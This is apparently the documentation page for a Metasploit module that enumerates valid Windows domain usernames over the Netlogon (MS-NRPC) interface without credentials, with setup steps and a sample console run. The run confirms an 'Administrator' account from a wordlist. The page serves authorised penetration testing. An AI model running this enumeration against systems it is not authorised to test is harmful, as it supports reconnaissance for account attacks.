cgranleese-r7
80 lines
2.9 KiB
Markdown
80 lines
2.9 KiB
Markdown
## Vulnerable Application
|
|
|
|
A new method for gathering domain users. The method leverages auth-level = 1 (No authentication) against the
|
|
MS-NRPC (Netlogon) interface on domain controllers. All that's required is the domain controller's IP address,
|
|
and the entire process can be completed without providing any credentials.
|
|
|
|
## Verification Steps
|
|
|
|
1. Do: `use auxiliary/gather/nrpc_enumusers`
|
|
2. Do: `set RHOSTS <targer IP addresses>`
|
|
3. Do: `set USER_FILE <path to your users list>`
|
|
4. Do: `run`
|
|
|
|
|
|
## Target
|
|
|
|
To use nrpc_enumusers, make sure you are able to connect to the Domain Controller.
|
|
It has been tested with Windows servers 2012, 2016, 2019 and 2022
|
|
|
|
## Options
|
|
|
|
### USER_FILE
|
|
|
|
**Description:** Path to the file containing the list of usernames to enumerate. Each username should be on a separate line.
|
|
|
|
**Usage:** Provide the path to the file that contains the list of user accounts you want to test.
|
|
|
|
**Example:** `set USER_FILE /path/to/usernames.txt`
|
|
|
|
2- `RHOSTS` (required)
|
|
|
|
**Description:** The target IP address or range of IP addresses of the Domain Controllers.
|
|
|
|
**Usage:** Specify the IP address or addresses of the Domain Controllers you are targeting.
|
|
|
|
**Example:** `set RHOSTS 192.168.1.100`
|
|
|
|
3- `RPORT` (optional)
|
|
|
|
**Description:** The port for the MS-NRPC interface. If not specified, the module will attempt to determine the endpoint.
|
|
|
|
**Usage:** If you know the port used by the MS-NRPC interface, you can specify it. Otherwise, the module will find it automatically.
|
|
|
|
**Example:** `set RPORT 49664`
|
|
|
|
## Scenarios
|
|
|
|
The following demonstrates basic usage, using a custom wordlist,
|
|
targeting a single Domain Controller to identify valid domain user accounts.
|
|
|
|
Create a new `./users.txt` file, then run the module:
|
|
|
|
```
|
|
msf auxiliary(gather/nrpc_enumusers) > set RHOSTS 192.168.177.177
|
|
RHOSTS => 192.168.177.177
|
|
msf auxiliary(gather/nrpc_enumusers) > set USER_FILE users.txt
|
|
USER_FILE => users.txt
|
|
msf auxiliary(gather/nrpc_enumusers) > run
|
|
|
|
[*] 192.168.177.177: - Connecting to the endpoint mapper service...
|
|
[*] 192.168.177.177: - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.177.177[49664]...
|
|
[-] 192.168.177.177: - Tiffany.Molina does not exist
|
|
[-] 192.168.177.177: - SMITH does not exist
|
|
[-] 192.168.177.177: - JOHNSON does not exist
|
|
[-] 192.168.177.177: - WILLIAMS does not exist
|
|
[-] 192.168.177.177: - Administratorsvc_ldap does not exist
|
|
[-] 192.168.177.177: - svc_ldap does not exist
|
|
[-] 192.168.177.177: - ksimpson does not exist
|
|
[+] 192.168.177.177: - Administrator exists
|
|
[-] 192.168.177.177: - James does not exist
|
|
[-] 192.168.177.177: - nikk37 does not exist
|
|
[-] 192.168.177.177: - svc-printer does not exist
|
|
[-] 192.168.177.177: - SABatchJobs does not exist
|
|
[-] 192.168.177.177: - e.black does not exist
|
|
[-] 192.168.177.177: - Kaorz does not exist
|
|
[*] 192.168.177.177: - Scanned 1 of 1 hosts (100% complete)
|
|
[*] Auxiliary module execution completed
|
|
msf auxiliary(gather/nrpc_enumusers) >
|
|
```
|